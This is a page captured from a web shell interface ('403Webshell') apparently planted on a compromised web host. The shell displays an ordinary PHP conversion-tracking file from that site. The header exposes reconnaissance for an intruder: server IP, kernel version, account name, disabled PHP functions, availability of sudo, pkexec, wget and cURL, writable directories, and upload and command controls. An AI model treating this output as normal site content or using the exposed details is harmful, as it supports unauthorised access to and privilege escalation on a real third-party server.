403Webshell
Server IP : 213.255.246.8  /  Your IP : 216.73.216.114
Web Server : Apache
System : Linux dublin.stapolin.com 5.14.0-362.18.1.el9_3.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jan 29 07:05:48 EST 2024 x86_64
User : stapolin ( 1019)
PHP Version : 8.4.24
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/stapolin/public_html/tracking.stapolin.com/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/stapolin/public_html/tracking.stapolin.com/includes/conversions.php
<?php

declare(strict_types=1);

function detect_page_view_conversions(int $websiteId, int $sessionId, ?int $visitorId, int $pageId, string $path, string $now): void
{
    $definitions = db_fetch_all(
        'SELECT id, rules_json FROM conversion_definitions WHERE website_id = ? AND type = "page_visited" AND status = "active"',
        'i',
        [$websiteId]
    );

    foreach ($definitions as $definition) {
        $rules = json_decode((string) $definition['rules_json'], true);
        $targetPath = is_array($rules) ? (string) ($rules['path'] ?? '') : '';
        if ($targetPath === '' || $targetPath !== $path) {
            continue;
        }
        insert_conversion_once($websiteId, (int) $definition['id'], $sessionId, $visitorId, null, null, null, $now);
    }
}

function detect_event_conversions(int $websiteId, int $sessionId, ?int $visitorId, int $eventId, string $eventType, ?float $value, ?string $currency, string $now): void
{
    $definitions = db_fetch_all(
        'SELECT id, type, rules_json FROM conversion_definitions WHERE website_id = ? AND status = "active" AND type IN ("custom_event", "outbound_link", "file_download", "revenue")',
        'i',
        [$websiteId]
    );

    foreach ($definitions as $definition) {
        $rules = json_decode((string) $definition['rules_json'], true);
        $targetEvent = is_array($rules) ? (string) ($rules['event_name'] ?? '') : '';
        if ($targetEvent === '' || $targetEvent !== $eventType) {
            continue;
        }
        insert_conversion_once($websiteId, (int) $definition['id'], $sessionId, $visitorId, $eventId, $value, $currency, $now);
    }
}

function insert_conversion_once(int $websiteId, int $definitionId, int $sessionId, ?int $visitorId, ?int $eventId, ?float $value, ?string $currency, string $now): void
{
    if ($eventId !== null) {
        $exists = db_fetch_one(
            'SELECT id FROM conversions WHERE website_id = ? AND conversion_definition_id = ? AND event_id = ? LIMIT 1',
            'iii',
            [$websiteId, $definitionId, $eventId]
        );
    } else {
        $exists = db_fetch_one(
            'SELECT id FROM conversions WHERE website_id = ? AND conversion_definition_id = ? AND session_id = ? LIMIT 1',
            'iii',
            [$websiteId, $definitionId, $sessionId]
        );
    }

    if ($exists !== null) {
        return;
    }

    db_execute(
        'INSERT INTO conversions (website_id, conversion_definition_id, session_id, visitor_id, event_id, value, currency, converted_at) VALUES (?, ?, ?, ?, ?, ?, ?, ?)',
        'iiiiidss',
        [$websiteId, $definitionId, $sessionId, $visitorId, $eventId, $value, $currency, $now]
    );
}

Youez - 2016 - github.com/yon3zu
LinuXploit